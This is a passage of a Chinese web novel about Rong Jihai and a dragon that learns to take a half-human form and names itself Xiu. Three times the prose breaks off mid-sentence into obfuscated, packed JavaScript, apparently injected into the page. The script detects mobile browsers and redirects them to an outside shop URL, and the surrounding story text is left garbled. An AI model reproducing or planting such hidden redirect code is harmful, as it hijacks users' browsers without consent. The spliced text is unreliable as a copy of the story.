还想要什么呢?龙能听懂许多已经足够令人惊喜了。更何况,自己还对龙的语言体系一无所知,又何来的对龙无法说出人类语言的不满足呢。 荣纪海暗暗握紧拳头,指甲微微嵌进手心里。 龙喷完了火焰返程,见荣纪海神色黯淡地垂首站在原地,不明所以地凑近看了看他。 荣纪海整理了一下情绪,刚要抬头冲龙笑时,龙甩了自己的尾巴到他眼前。 “——” 啊。 这熟悉的场景。 不知为何,明明是有些微妙地难以启齿的别扭感,但意外地心情却真的好了起来。 荣纪海真正笑了出来,伸手抓住龙的尾巴。 无法交流的话,当然会产生困扰。但好在有些感情不需要语言也能传达。 同喜同悲在人类之间都是奢望,互相理解更是不管在哪个种族之间都是抓不到的,介于存在于不存在之间虚无缥缈的未来。 但眼下有头龙会逗他开心……这倒也不赖。 荣纪海有些放空地握着龙的尾巴,没留意到龙朝他靠近了点,抬起爪子按在了他的脑门上。 那只爪子并没有使力,甚至非常注意地没让爪尖在他皮肤上留下哪怕一道白痕。 荣纪海原地不动地任由龙按着,默不作声地容许了这样宁静的氛围继续弥漫下去。 突然,他的额头好像感知到了什么柔软的东西,冷硬的尖锥变成了冷软的圆柱体。 这熟悉又陌生的触感惊得荣纪海马上后仰,几乎可以称得上是惊恐地去看龙的爪子——那还是普通的龙爪的样子。 龙眨眨眼睛,似乎也没有异样,反而甩甩被丢开的尾巴,似乎很奇怪为什么荣纪海突然跑了,还用那样的眼神看它。 荣纪海几乎着魔似的盯着那只毫无异常的爪子,再也无法忽视掉这个异样。 他想起早上盥洗室里,龙消失的翅膀与那块人的皮肤一样的脊背。 那也许不是眼花。 荣纪海看着龙的眼神里压抑不住喷涌而出的难以置信与一丝被藏得很好的惊恐,就像是看见世界在他眼前扭曲,恍若一个光怪陆离又醒不过来的怪异梦境。 因为刚刚那个额头上的触感,分明是人类手指的触感。 17. 第七天·一切都将于此刻改变 荣纪海心事重重地跟在龙的身后,甚至没有注意到龙屡次回头想要与他对视却都以失败告终,扬起的尾巴慢慢耷拉下来。 过去也有几小时了,但那之后龙再没有过早上时的异常。 荣纪海一遍又一遍地回放正新鲜着的记忆——难道真是我眼花?还是劳累过度产生的幻觉? 思索间他仅仅是跟着自己的肌肉记忆锁定龙的位置,并没有真正意识到对方究竟飞到了哪儿。直到一抬头对上盥洗室中镜子里自己迷茫的眼神时,荣纪海才发现龙居然自顾自飞到了这儿来。 早上他发现龙的脊背变化就是在这里。 难道,这里有什么—— 荣纪海环顾自己再熟悉不过的盥洗室,试图从中寻找出什么龙能够部分变形的原因线索来。 但他只看到了一滩……一滩,把自己团吧团吧挤在铁架子里的龙。 荣纪海哑然片刻,有些头大。 龙的翅膀摊开来把自己罩在翅膀里,落下的尾巴毫无生命力地晃荡,俨然一副受了委屈的模样。 “你……”荣纪海只觉无奈。 怎么这会儿反而是我吓到了它的样子呢。 没办法了。 荣纪海伸手尝试着摸上龙的翅膀,翅膜是温热的,摸上去有种磨砂般的质感。但他知道,正常体型的龙的翅膜,若是一个不注意便能划破人类脆弱的皮肤。 “是生我的气了吗?对不起,我……我在想事情,才没注意到你。” 他等了一会儿,翅膀里寂静无声,除了龙呼吸时的微弱起伏,什么回应都没有。 坏了,我也没有哄龙的经验啊。 荣纪海苦笑了一下,把疑虑暂时压下,又凑近了些开口:“还有什么想做的吗?我陪你。” 没有动静。 荣纪海犹豫半晌,将要用点力将龙的翅膀强行掰开时,突然意识到龙的状态似乎不太对劲——他眼前的并不是还在幼年期的小龙,虽然赌气也并不是小龙的特权,但先前龙表现出来的成熟的性格,也许对方并不会做出赌气这样的行为来。 荣纪海的手一顿,翻转手腕,从翅膀底下轻轻掀开一点,手指探进去摸到一小根有弧度的硬状物——那是龙的角。 大概是因为被摸到角的刺激,龙总算动了动,翅膀打开一点露出了半闭不闭的龙瞳,只能看见一半的瞳孔略微涣散着,连带着周遭的金色都浑浊了几分。 荣纪海下意识地轻声问道:“困了?” 龙打了个小小的哈欠,用几乎快要闭上的眼睛最后在荣纪海被担忧占据的脸上扫了几眼,很快便沉沉落下,抬起的翅膀也缓缓随着惯性重新遮住龙的身体。 荣纪海小心翼翼将龙抱出来,放到窗边的书桌上。 “怎么会突然困了呢……明明之前的副作用早就消失了才对。”荣纪海疑惑地看看自己床头并排的两个枕头——其中一个在昨晚曾成为了龙的床。 昨天一整天乃至于晚上,虽然体型还未恢复,但神智已经正常了的龙精力十足,活像是睡了好几天,终于有机会挥发掉那些过剩的经历似的。 更何况,哪怕是最开始与龙相遇的那几天,成年体型的龙也从未在他面前发困过。 也就是说,还有别的原因吗…… 荣纪海小心地拎起龙的其中一只前爪,仔仔细细地查看每一根脚爪,试图从中找到些那个诡异触感的源头。 但没有,什么都没有。 每一根爪子都那样锃光瓦亮的,干干净净又锋利得干净利落,被自己的主人打理得非常好的样子。 荣纪海不信邪,又尝试用指腹按了按爪子的尖端。 当然——又硬又有些刺痛,跟那时柔软的触感是八竿子打不着的关系。 荣纪海又翻开合拢的翅膀,查看龙的脊背——背刺整齐地排列在脊椎的位置,一层层鳞片交叠着,忠实地护佑底下柔软的内脏。 都很正常。 难道是我不正常? 荣纪海不可置信地扪心自问:总不可能真是我出了问题吧? 但脑内曾用来帮助他避开致命伤的危险警报,从手指样的触感落在他的额头上起就“滴滴”响个不停。而荣纪海从小接受的教育中,这种第六感的危险意识往往要比所有可见可闻可听可感的东西来得更加靠谱。 尤其是比岌岌可危的理智靠谱。 如果……假设,那鳞片与翅膀都消失的脊背,那奇异的触感,这些都真的是人类身体的一部分,而不是什么其他的,可能拥有类似外形或质感的东西。 荣纪海的目光沿着龙的身体轮廓慢慢划过。 昨天,或者说前天夜里龙身上的副作用都已被解除了才对,但龙只是变大了一点点,而它本身似乎也完全不惊讶,甚至完全不关心自己的身体什么时候能变回去。 而且……是他的错觉吗?今天的龙似乎又变大了一点。 荣纪海伸出两只手大概丈量了一下龙的占地面积——确实比昨天又大了点。 如果说有什么可能,能够解释龙身体变小依然态度自如的话,那么显而易见的,只有一种可能了。 这一切,从没有恢复成正常成年体型,到后来奇怪的变异眨眼间又恢复正常——这些,一切,都是龙自己主动做出来的。 但是为什么?以前从未有过这样的事—— 荣纪海愣住了,他看着龙的鼻尖,终于想起在最初的最初,这一切究竟是怎么开始的。 ——是他自己干的。 他联想起前前后后龙对自己身体变小的态度变化。最初的好奇代表着龙并不清楚自己会,或者说能够变小,后来的适应也许是龙将错就错刻意维持了小体型方便行动。 至于现在…… 如果龙能在那么短时间内,大概是仅凭他这一周与龙的对话,就能迅速掌握许多人类的语言的话,那它反过来利用这次意外,开发出新的能力……似乎也不是不可能? 可为什么会是人? 荣纪海迷茫一瞬,却很快摇头打断了自己无休无止的思绪。 “现在可能不是思考‘为什么’的时候了啊……”而是该思考“怎么办”了。 荣纪海摩挲着自己的指尖,任由皮肤在指甲刮擦下逐渐发红。 如果它真的成功变成人,或者说,如果它能自由地在人类形态与龙形态之间转换的话…… 被凭空出现的大火覆灭的偏远村庄,前一秒擦肩而过的同类下一秒便张开了普通人认知范围之外的大嘴…… 荣纪海一掐手心,硬生生打住了这些联想。 我……第一时间想到的是这些吗? 荣纪海的心脏被自己亲手浸在了冰水里,寒冷刺骨。 他慢慢抬头沿着龙的轮廓描摹,那一寸一寸都是他最熟悉的模样,不仅是现在,过去也同样。 如果真能变成人的话,不应该是该开心吗?荣纪海浑浑噩噩地想。 明明那么希望与龙无障碍交流,明明那个“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052628|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦想”想要实现的话,龙能变成人——这是一条再好不过的捷径了。 但他的第一反应却是担忧——担忧人类反而可能将会面对更难以招架的危机。 原来到头来,我与他们也没什么不一样啊。 荣纪海内心一片空茫,回首望去,那前后的悬崖原来不是反对者铸造的,那是不论如何都无法从现实挣脱,终于意识到自己的想法真的很天真的自己,亲手定义的“绝路”。 不,不对。 荣纪海堪堪挣扎着仰头呼吸,从没顶的黑水里探出头来。 不应该这样的——如果只往坏处想的话,那历史只会不断地重演循环,直到其中一方——或是两方,彻底被消磨殆尽为止。 是的,虽然龙也许能变成人这个即将实现的事实固然会给人类带来许多隐藏的风险…… 但现在将要如此尝试的龙是它——是自己面前这头与自己始终友好相处,甚至会逗自己开心的龙。 如果是它的话,交流也许是可行的。 可它终究只是个例。 [这样的个体自然存在的可能性是非常非常小的,趋近于无。] 是,终究无法复刻的“个例”。 那么最起码,要把变形成人这个能力封锁在这里。 荣纪海从龙的鼻尖处收回手,站起身时阴影在他眼底投下一片阴翳。 一阵微风刮过,荣纪海背身从窗户一跃而下! 面朝天空时,荣纪海出神地望着离自己越来越远的蓝天,气流微动间,他几乎是几近飞翔的姿态在半空中转身,凭空腾起后稳稳降落在房子周围的一棵树顶上! 荣纪海面无表情地张开一只手掌,无形的能量从他的手心里溢出,瞬息间便在他面前展开了一层略微扭曲的薄膜状物体。 一层?不,不够,得要双层的。 荣纪海略微催动体内奔涌起来的血液,燃烧着生命的力量汲取养分,身前扭曲的块状屏障逐渐稳定下来。 他抬头目测了一下距离,眨眼间便又跳到了下一棵树的树顶,重复着先前的操作。 无形的屏障随着他的动作在房子四周升起,若是此时“袁哥”一群人还在山下,必然会发现这个异样——那股似龙非龙的气息正骤减到难以察觉的浓度。 荣纪海略显急促地喘着气,在停到最后一棵树的枝干上时扶着树干调整了一会儿呼吸。 “这个消耗……果然双层的还是费力不少啊。”荣纪海看着自己微微发热的掌心苦笑,“还是说果然是太久没练的惰性呢。” 体内的火焰一刻不停地燃烧着,大肆剥夺荣纪海的气力当做食物。 荣纪海稳了稳心神,原样举起手,“得速战速——” 刹那间荣纪海瞳孔紧缩,原因无他,龙不知什么时候转醒,正飞出窗口,向他的方向飞来! 情急之下荣纪海猛然加大输出,气力与神智以惊人的速度流窜消逝,在屏障完成的最后一秒,龙已飞到了跟前,差点与那道屏障撞了个正着。 荣纪海心下一惊,眼前天旋地转时才后知后觉地感叹:糟了—— 意外下的过度消耗彻底夺走了他最后一丝神智,摇晃着从树枝上跌落时,他最后只感觉到有只人类的手掌牢牢扣住了他的手臂。 他顺着被紧扼住的箍痛向上望去,最后模糊的记忆中,只有那对金色的龙瞳在逐渐漆黑的视野里燃烧着,蔓延的金色火焰霎时便遮盖了整片天空。 是……你吗? 18. 第八天·人...吗? 他跌跌撞撞一头滚进一片柔软的草堆里,落地时头朝下,草尖刺进了他的鼻腔,激得他打了一个大喷嚏。 焦味迅速蔓延出来,与之几乎同时出现的是一阵略微急促但并没有压迫感的嚎叫。 他不明所以地睁开眼,发现自己面前的草堆已经黑了一片,一条硕大的尾巴横过他的头顶,温柔地把他的身体往后揽了揽。 他顺着那条尾巴往源头寻找,最后看见了一个已经转开目光,看着别处的巨大侧脸。 这是哪里,那是什么? 他浑浑噩噩地来回扫视这个干燥温暖的地方,在不远处的地面上又看到了与自己身旁这个生物长相特征相似的其他生物。 展开的翅膀在这略显狭小的地方互相挨蹭着,时不时还响起一阵令人牙酸的类金属剐蹭的声音。 哦,对了,我是人,它们是龙。 他总算想起自己的身份,低头时却与自己幼小但也尖利的爪子撞了个正着。 我是人……吧? 他惊恐地左扭右扭地试图看到自己的全身,身边成年体型的龙莫名,用尾巴直接粗暴地将他掀得四脚朝天。 他本应该马上起身离开的,这里不属于他,虽然不知道发生了什么,也不知道自己为什么变成了一头龙。 但离开这里是绝对的要紧之事。 他本应该如此的。 但当他费力地翻身起来,略微灼热的空气对他冰凉的鳞片来说反而如陷冬日的暖炉时,他突然懒洋洋地决定,可以再多待一会儿。 反正……好像也没有什么要紧事嘛,为什么一定要回去呢,既然变成了龙,那继续当下去似乎也没什么不好。 过于温暖的环境令他昏昏欲睡,逐渐成平直一条线的大脑处理不了太多复杂的信息,只够他将周遭的一切印在脑海里。 火焰对于龙而言似乎是常态。 每头龙的尾巴尖上都燃烧着火焰,但成年龙身上的火焰似乎不常出现,只有与他体型相似的小龙才常常让自己的火焰露在外面。 啊,我也有。 他试着动动自己的尾椎,一条尾巴突然从后往前拍到他的脸上,正正好打到他的鼻头,差点又打出个喷嚏来。 他不懂控制自己的尾巴,于是只好操控自己的头往后仰了仰,才成功看见自己尾巴上的火焰。 啊,我是黑色的。 他后知后觉地盯着自己尾巴上的鳞片出神,直到被洞口的动静惊醒。 洞口进来了几头龙,各个爪间亦或是嘴里都带着些体型庞大的,陌生的动物。 见它们进来,洞穴里几头原本趴着一动不动的龙才慢悠悠起身,跟接班似的擦过进来的龙的身体走向洞外,而刚进来的龙则各自寻地趴下,也一动不动的,只偶尔尾巴甩动几下,逗弄着自己身体附近的幼龙。 [龙是超大体型的动物,活动需要消耗大量的能量。因此,可以猜测龙族的族群社会中,可能采用的是轮班制,即一批外出捕猎,一批留巢看守休息,以减少消耗,实现对族群而言最大的能量利用率。] 陌生的声音突然在他的脑海中响起,还说着些陌生的话语,却奇异般与他面前的场景融合起来,如同兢兢业业的画外音。 这是什么? 他疑惑地转头寻找,却并没有找到声音的来源。 好一会儿,他才意识到——那是我的声音。 他的眼神逐渐清明起来,他想起那段话是他曾写在一个小本子上,念给一个人听的自己的记录与推测。他也想起来了,那个时候,他说完后,本以为会得到赞赏,但回应只是被轻蔑地扔到地上的本子。 “知道这些对我们找到龙的藏身地有任何用处吗?有这个功夫分析什么族群社会,不如好好看看每次战斗后它们留下的痕迹,你这脑子用在那上面,我们又何苦找不到它们的巢穴,只能被动地等它们来攻击我们?” 他很轻很轻地眨眼,没有发出一点声音,只是看着那个被粗暴扔开,书页着地的小册子愣神。 对了,他不是龙啊。 他恍然醒悟,踉跄着后退几步。 虽然……虽然做龙也没什么不好,但是…… 他看着身前的地面,好似那里摊开着一本虚无的,只有他能看见的小本子。 那个本子存在的意义……并不是方便他逃避现实用的。 他定下心来,慢慢后退。 不知何时洞穴消失了,所有的龙都隐没在了虚空的黑暗中。他在那黑暗中拔腿狂奔,用自己陌生的四肢跑一步绊一步地往前滚,漆黑的扭曲从他身旁划过,掠进虚假的过往。 不知狂奔了多久,他的前方才闪烁出一丝光亮。 他卯足了劲儿,一头滚进那片光亮里。 那是一团火光。 他猛地刹住脚步,踌躇在那团火光之前。 那是龙吗?他应该靠近吗? 到底哪里才有人类? 絮絮的说话声环绕起来,纷乱的噪音软化成入耳的旋律,他凝神了听了一会儿,才意识到那并不是龙的吼叫声。 那是人类。 他冲出藏身的黑暗,直冲向那片模糊的火光,丝毫未想到自己的这副姿态出现在人类面前会产生多大的动荡。 但很快,他被一股力量拎起翅膀提了起来,身体腾空被提到一定高度。 被摇晃着转过来时,他却与一张人类——却又不像是人类的脸对上。 那金黄的龙瞳燃烧着,眼角点缀着一大片紧紧挨挨的鳞片。龙瞳敏锐地动了动,那张脸缓缓张开嘴…… —— “!” 荣纪海惊醒,手指间紧抓着的是熟悉的布料而非草根,他的呼吸几乎暂停一瞬,熟悉的天花板让他的大脑还未反应过来便已如进入冰火交界之处那般分裂。 刚刚的……是梦? 不,还是说,现在的才是梦? 他正呼吸急促地愣神回想之际,头顶突兀地罩下一片阴影,与之同来的是几缕微凉的长发落在他的脸旁,软软滑滑地溜下去,只余一阵羽毛般的痒意。 那双出现在他梦里的龙瞳此时正从他的视线正上方,在遮挡了灯光的阴影下直直盯着他。纵然那并不是看猎物的眼神,但非人的特征镶嵌在这一张人脸上,还是足够令人心惊。 荣纪海被迫与那双龙瞳对视,强烈的熟悉感强行唤醒了昏迷前的记忆。 他看着那张放在人类里也称得上是俊美的脸,半信半疑地开口:“你是……龙?” 对方眨眨眼,点一点头,又摇摇头,发丝顺着他的动作在荣纪海的耳侧滑动,几乎让他不由自主地颤了颤。 对方生涩地开口:“现在,是人。” 这个声音…… 龙变成人之后声带都那么与众不同吗?荣纪海被这玄妙的音色与共鸣迷了神智,短暂地走了一下神。这样的声音跟空灵没什么区别,甚至带了点悠远的意味,倒是与原本的龙的身份非常相配。 荣纪海眨眨眼,哑然片刻,“啊,这个嘛……我们一般看本质,而不是看……” 对方习惯性疑惑歪头,大概是荣纪海的这句话里出现了听不懂的词汇。 直到看到这个熟悉的动作,荣纪海才找到点对方真实身份的实感。 他及时打住了自己无意义地下意识接话,想要从床上坐起来,手摸到自己身体旁边时,却突然按到了一个熟悉的触感。 又厚又实,冰冰凉凉,掌根处还挨到了骨质质感的边缘。 不会吧……荣纪海的心悬了一半,侧头向下望去。 龙——哦不,现在是人形的龙了,对方的其中一条本该是人类手臂的位置竟然是一只硕大的龙爪! 他隐隐竟觉得有些麻木了,为自己这多灾多难一波三折的一周。 他屏住气又看向对方的另一只手——还好,另一只手倒是正常的。 此时那只爪子的主人正一手……一爪地按在床铺边上,上半身倾过来看荣纪海。见荣纪海似乎要起来,对方自然地起身离开,让出位置。 然而当荣纪海坐起来,终于看到对方的全身时,只觉得自己是不是真的无意中掉进了什么比魔幻还要魔幻的世界里——对方的背部一侧还留有一边的翅膀,即便已经尽力收拢,但尖端的翅骨还是刮烂了他房间的地板。 而再后面,一条硕大的尾巴正在地板上蜿蜒。 大概是注意到荣纪海的视线,对方突然把尾巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052629|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩到床上,递到他的手边,终于能够使用表情的脸上活灵活现地露出一副“真拿你没办法”的样子。 荣纪海有些错乱,“等,我不是,我——”他哽了半晌,最终还是叹了口气,“算了。” 荣纪海有些无可奈何地心想,讲道理,我能预料到他会变成龙,但没预料到会变成这个样子啊。这到底算是龙还是人啊?龙人? 龙——好吧,现在也许应该是人了,见荣纪海迟迟没有表示,疑惑地问道:“不像吗,我,人。” 即便显然省略了好几个字并且语法错乱,但依然不影响荣纪海听懂了对方的意思。 荣纪海看着那具不甚熟练的人类身体,迎着对方略显期待的眼神,沉默半晌,还是选择小心翼翼说出真相:“人类的身体,应该不会有翅膀,也不会一只手一只爪子,当然也不会有尾巴……你觉得呢?” 对方眨眨眼,看看自己的爪子,翅膀挪动时在地板上刮擦出令人肉痛的声响,搁在荣纪海腿上的尾巴微微卷起,一副无措的模样。 荣纪海见状一下卡了壳,在对方要收走自己的尾巴之前伸手抱住,挤出一抹笑来:“但是,还不赖,”对方歪歪头,“我是说,挺好的,很像……人。” 尾巴尖卷起了荣纪海的手腕。 龙……人,点点头,肯定地说道:“休。” “嗯?”荣纪海还没有从自己下意识哄龙的震惊中回过神来,此时茫然地看着莫名其妙发出了一个音节的龙。 “我,名字。” 荣纪海微微瞪大眼睛。 名字,对了,名字。 龙的族群里也有名字这个概念吗……总不能是它变成人后现取的吧。 思及至此,他犹豫地开口求证道:“你的名字,是从哪里来的?” 对方学得非常快,马上根据荣纪海的口语纠正了自己的用法:“我的名字,”他指了指窗边桌上的一本字典,那大概是他自己拿来的,“那个,喜欢。” 真是自己取的。 “那……你有龙的名字吗?真正的,你的名字。” 对方不解地皱起眉,但还是开口,发出了一阵奇怪的音节串。 “?”对方看起来比荣纪海还要疑惑,好半天才解释道:“不一样,声音。” 荣纪海点点头,目光落在对方的喉咙上。 看来龙的声带构造与人类并不相同,龙的发音很难在人类的声带结构下复刻吗…… 不过对方确实有自己的龙族名字,这就够了——龙这个物种,无疑有着媲美人类的社会完整度。 他安慰地笑笑,“没关系,你……”他察觉到什么,转过头看向窗外,那里的不远处,自己昏迷前设下的屏障正正常运转着。 “你……有很多时间,可以学习。” 荣纪海转回头来直视龙,对方那犹如那些保留的龙的肢体那样,未能变化成人类眼睛的龙瞳正好奇地盯着他的一举一动。 “休。” 他轻声念出对方的名字,停滞不动的台阶出现了新的一层,绝路尽头豁然开朗,在太阳落下的深夜,曙光在地平线下提前露出了希望。 “我……重新介绍一下我自己。” 他微微坐正,“我叫荣纪海,荣——纪——海。”他拖长了音,好让对方方便模仿发音。 他伸出右手,打破了一半距离。 面对龙疑问的眼神,荣纪海解释道:“这是握手,就是,把你的手伸出来,抓住我的手,这是人类里的礼仪。” 休盯着荣纪海的手看了一会儿,又端详着自己的一手一爪。 半晌,他伸出自己龙爪的那一只手。 荣纪海一愣,短暂的诧异后反而惊喜地笑出来,干脆地换了左手与对方相握。 是的,是的,就该这样,这样才对。 人类的五指与龙的利爪握在一起,是完全不同的两个个体,却依然能毫无间隙地紧贴彼此。 手指卡进爪子之间,手心里没有暗刃;利爪温和地抵进指缝,却没伤到对方分毫。 原来是可以契合的。 荣纪海低垂眼帘,慢慢收紧手掌,几乎是将那大了太多的龙爪捧在手中。 是可以的。 19. 第八天·适应 荣纪海放下手,目光重新审视着休的全身时,才突然注意到刚刚自己一直下意识忽略的一个点。 他看着休身上完完整整……好吧,大概除了右臂的龙爪与背部的翅膀之外,其他地方还算完完整整的,样式眼熟的衣服,眨眨眼,尝试性地问道:“这些衣服……是哪里来的?” 休低头看了看自己的身体,伸手指指自己右肩,“鳞片变的。” 荣纪海顺着休的手指看去,果然在上衣与右臂龙爪的衔接处发现了怪异之处——上衣的布料在接近龙爪上的鳞片前逐渐淡化,像是溶解在了身体里,又像是隐入了那层层鳞片之下。 原来如此。荣纪海又仔细瞧瞧那条与人类身体相比起来过于硕大而显得累赘的龙爪。难怪,还以为这个样子都能好好穿上衣服呢…… “怎么想到把鳞片变成衣服?龙……我是说,你们,有这个习惯吗?” 休摇摇头,目光垂落到荣纪海的衣襟处,“因为你会这样,所以学了。” 荣纪海在心里略微松了口气。还好之前出现在龙面前的时候都是好好地穿着衣服的,不然对方现在大概就是□□—— 等等。 荣纪海猛然转头再次看向休的“衣服”。 如果这些是鳞片变的话,那休现在……其实也算是□□着的吧? 休见荣纪海突然停下看着自己,疑惑地歪歪头。 不对,真要这么想的话,前些天龙形态的时候也没觉得有什么不对啊。 荣纪海暗地里掐了自己一把,止住了这些不合时宜的奇思妙想。 不过,就算给他拿衣服,他的情况也压根穿不了吧。 荣纪海想象了一下衣服上开好几个洞的景象,摇摇头,无力地回应休投过来的关切的眼神:“没事,我们下去吧,总不能一直待在卧室里。” 他顿了顿,重复了一遍话中的名词:“卧——室。就是我们现在在的这里的名字。” 休似懂非懂地点头。 荣纪海拿上枕边的手机,随意打开查看时间时才注意到时间不对经。 “我这是……昏迷了一天?” 手机屏幕上显示的日期赫然已是第二天。 休鹦鹉学舌道:“昏、迷。是的,你昏迷了很久。”他一顿,又歪头询问:“为什么要上树?” 嘶,我怎么非得主动提起这个话题。 荣纪海心一颤,稳了稳心神,随口编了一个理由:“我想在树上找鸟巢。你还记得吗?偶尔会有鸟进来卧室。” 休看上去显然并没有相信的样子,但也只是面无表情地沉默了,没有再继续追问。 正当荣纪海暂时松了口气,休再开口时声音却突然低了下去:“我变人,你不喜欢。” 荣纪海被这奔放的用词刺了一下,不禁发散对方这从哪儿学的用词。 等下,如果是最近的话……好像只可能是从自己这里学的。 但也未免学得太七拼八凑了点。 荣纪海暗叹一口气,暂时把纠正的心压下去,选择先回答休的奇怪的问题:“为什么你会这么想?” 休的那双龙瞳一动不动,瞳孔微微收缩,凝神注视着荣纪海的眼睛。 被这样的眼神盯着,荣纪海只觉得若是自己移开目光,那么接下来不论他再说什么,在对方那里的信用度大概都要大打折扣了。 休盯着他良久,才解释道:“你没有被吓到,但也没有很开心。” 荣纪海被他的敏锐惊到,沉默一会儿,才扬起嘴角,却没有先回答休的定义,“你昨天是在试着变成人吗?” “是的,你看到了,我怕吓到你。” 已经吓到了啊。 荣纪海心里无奈,面上却依然温和,“所以,我当时就猜到你可能会变成人了,只是没想到会这么快。” 他犹豫一会儿,还是选择趁着话题聊到这儿,抛出一个自己很在意的问题:“你为什么要——为什么想变成人呢?” 休回答得很快,歪歪头疑惑道:“你不想吗?” “啊?” “你说,想要能交流。” 荣纪海愣住了。 休的瞳孔微微放大,显得温和许多,“我也想,所以就变了。” 荣纪海一时半会儿没能回上话。千言万语的附和也好客套话也罢,尽数被休的直白堵在嘴边,出不去咽不下,噎得荣纪海沉默了好一会儿。 大概几十秒秒后,可能也是半分钟后,荣纪海才找回自己的声音,开口时嗓音被心上一块微妙地软下去的地方影响,轻柔又沙哑:“这样吗……我其实……很高兴。” 休歪头。 “高兴,就是……我很喜欢的意思。我很高兴你能变成人,休。” 休的眉眼舒展开,显然是满意了的样子,“那就好。” 被休的语气戳到,荣纪海忍不住追问道:“你很想让我高兴吗?” 休眨眨眼,很自然也很理所应当地点头又摇头,“我不想让你不高兴。” “……” 荣纪海张张口,这次依然什么都没能说出来。 最后,他只好略显慌乱地再次按开手机屏幕,本想没事找点事,却在终于注意到时间时找到了接下来应该干的事情。 “要吃点东西吗?” 荣纪海整理好表情,拉开卧室门。 回头看着休的一瞬间,他突然想起先前他曾试探过的,龙对“吃”这个字眼的反应。 要问吗? 荣纪海仅仅只是犹豫了一瞬,马上就把这个欲望抛在脑后。 算了,还是先填饱肚子吧。 休想了想,龙瞳转了转,“之前的那个,是什么?” “什么?哦,你是说饺子。你想吃那个吗?” 荣纪海停下动作,转而观察着休的反应。 休点点头,像个小复读机一样复述荣纪海的话:“饺子,想吃。那个,味道很多。” 荣纪海反应了一下,才解读出休的意思,“你的意思是,饺子里同时有肉和菜的味道,所以觉得好吃?” “嗯,人类的食物很厉害,可以放在一起。”休的语气上扬了些,显然是喜欢极了。 荣纪海被对方轻而易举就开心起来的情绪逗笑,侧身带着休走下楼梯,“龙必须分开吃吗?果子应该是可以和肉放在一起吃的吧,只要你们想。” 休执着地摇头否认:“不一样。” 荣纪海没再坚持,只是笑了笑:“你很喜欢人类的食物啊。” “嗯,喜欢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052630|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 荣纪海听着身后与他几乎同步的脚步声,尾音轻快又自然,带着点人类孩童般,捧着些普通事物当做珍宝的纯真。 虽然还有满肚子的问题想问……不过,还是先让他吃个够吧。 荣纪海丝毫没有留意到自己的嘴角再也没放下。 不急这一时。 —— 下楼后,荣纪海将休带到桌前,“你先坐在这儿等一会儿,很快就做好了,”荣纪海想了一会儿,又补充道:“如果你喜欢的话,之后我可以给你做更多其他的食物。” 休的龙瞳“唰”地一下亮了几分,面上却只是矜持地点点头。 荣纪海忍住笑将要转身走向厨房,余光却见休的目光陡然落在客厅的某个角落。 他停下脚步,顺着休的目光看过去——那是那只兔子。 休直愣愣地盯着那边,拖着自己的大尾巴就自顾自走了过去,荣纪海连忙跟上。 “这个动物在我们人类的语言里叫兔子——啊,我之前好像跟你说过,你知道,对吗?”荣纪海走到休的身边,对着箱子里安安静静的兔子介绍道。 休点点头,“你说过。” 他看了兔子一会儿,又低头抬手,端详起自己的龙爪与人类的手臂,显而易见地有些犹豫不安。 荣纪海在旁边看得一清二楚。在休的眼神第三次在兔子与自己的形态各异的两只“手”之间徘徊时,荣纪海主动绕过休后背的翅膀,一手扶着对方没有翅膀的那边后背,一手扶住那条人类形态的手臂,“这个视角看兔子还是蛮新奇的,对吧?可以试着摸摸,别担心,不会伤到它的。” 他带着休的手往前探,直到休的指尖触碰到兔子柔软的毛。 休全身都突然颤动了一下,指尖瑟缩,后背向后紧贴住荣纪海微微发力阻止他后退的掌心。 荣纪海没有动也没有说话,依然牢牢把着休的手不放,但也没有贸然往前伸,而是停在原地等着休适应。 掌心下的肩背慢慢放松下来,手掌里的手臂肌肉发力,是休主动施力想要触碰到更多。 荣纪海顺着休的力道放开手掌。 人类的温度离开的一瞬间,休用自己的整个手掌完整地摸到了兔子,但他的注意力却瞬时从兔子身上飘走,落在放开了自己手臂的荣纪海身上。 荣纪海并没有看他,也无从得知此时他正看着荣纪海。 人类只是柔和又轻松地看着自己的手与兔子,好像能够看到这个场景,就是人类目前要做的最重要的事情了。 休慢慢移回目光,人类形态的手臂上原本被捂得温热的部分正慢慢变凉,有什么东西从他的身体上离开,又有什么东西悄悄在他心里留下。 这时,荣纪海带了点笑意问休:“神奇吗?作为人类摸到兔子的感觉。” 休看着兔子,焦点却并没有落在兔子身上。 手臂的那块区域上奇妙的感觉已经完全消散了,休压抑住自己想像没规矩的幼龙那样索求更多的欲望,用几乎轻不可闻的声音回答:“嗯,神奇。”但不是兔子。 他想着刚刚看到的,荣纪海看着自己的手与兔子的眼神。 